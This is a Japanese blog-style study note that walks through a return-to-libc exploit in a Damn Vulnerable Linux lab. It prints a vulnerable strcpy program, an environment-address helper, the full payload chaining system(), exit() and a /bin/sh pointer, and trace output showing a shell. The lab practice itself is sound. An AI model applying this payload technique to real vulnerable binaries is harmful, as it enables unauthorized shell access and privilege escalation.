スタックオーバーフローでスタック上のシェルコードを実行するんじゃなくて任意の関数に処理を移行するってことで
とりあえずsystem()を呼べるように試した。
実施環境はいつもながらDVL。
まずは脆弱性のあるコード。
bt test $ cat vuln.c #include <string.h> void test(char *p) { char buf[64]; strcpy(buf, p); } int main(int argc, char **argv) { test(argv[1]); printf("ok\n"); return 0; }
systemを呼ぶにしても引数として"/bin/sh"を渡す必要があるので
環境変数に/bin/shを格納。以下は環境変数のアドレス取得用のコード。
bt test $ cat getenv.c #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { char *p; char *addr; if (argc < 2) p = "BINSH"; addr = getenv(p); if (addr) printf("environment[%s] is in %p\n", p, addr); else printf("environment[%s] isn't exist\n", p); return 0; }
それで以下のように環境変数を追加。
BINSH=/bin/sh ; export BINSH
そしたら実行してみる。
bt test $ echo $BINSH /bin/sh bt test $ ./getenv environment[BINSH] is in 0xbfffff15
vulnに渡す引数は1個だけどsystem()のアドレスとかを渡すのでpythonで引数を作ってます。
スタック上はこんな感じになると。
メモリアドレス上位
"A"*72 -> 72bytesの書き込み
"BBBB" -> 特に意味はないけどebpに格納されるデータ。gdbでみると0x42424242って感じになってます
"\xe0\x86\xed\xb7" -> system()のアドレスをリトルエンディアンにしたもの
"\xa0\xe3\xec\xb7" -> exit()のアドレスをリトルエンディアンにしたもの。ここがsystem()実行後の戻り位置
"\x15\xff\xff\xbf" -> system()の引数
メモリアドレス下位
exit()を入れるのはsystem()呼び出し後に正常に終わらすためらしいです。
で実行してみる。
bt test $ ./vuln `python -c 'print "A"*72 + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'`
普通に実行すると何事もなく終わってしまったのでltrace、straceを使って動作を確認しました。
#okは表示されないのでexit()は呼ばれていると思う。
ltraceをつけて実行
bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'` __libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...> strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510 sh-3.1$ id uid=1001(cola) gid=100(users) groups=100(users) sh-3.1$ exit exit --- SIGCHLD (Child exited) --- +++ exited (status 0) +++ bt test $
ltraceをつけるとshellがちゃんと起動できる・・・
straceをつけたらどうか?
bt test $ strace ./vuln `python -c 'print "A"*72 + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'` execve("./vuln", ["./vuln", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 33 vars */]) = 0 uname({sys="Linux", node="bt", ...}) = 0 brk(0) = 0x804a000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=88668, ...}) = 0 mmap2(NULL, 88668, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000 close(3) = 0 open("/lib/tls/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20O\1\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1441201, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000 mmap2(NULL, 1240284, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7ea3000 mmap2(0xb7fcc000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x128) = 0xb7fcc000 mmap2(0xb7fd0000, 7388, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea2000 mprotect(0xb7fcc000, 4096, PROT_READ) = 0 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea26c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 munmap(0xb7fd3000, 88668) = 0 rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(sh-3.1$ child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff41c) = 16559 waitpid(16559, sh-3.1$ id uid=1001(cola) gid=100(users) groups=100(users) sh-3.1$ exit exit [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 16559 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD (Child exited) @ 0 (0) --- exit_group(-1073744640) = ? Process 16558 detached bt test $
waitpidで止まった所でEnterキーを押せばshellが起動した。
というわけでltrace、straceをつければ期待通りにshellが動くけどなんでltrace等を使わない場合はshellが立ち上がる前にexit()が呼ばれるか分かりませんでした。。。
とりあえずsystem()->exit()の流れは正しくできてるようです。
勉強あるのみ。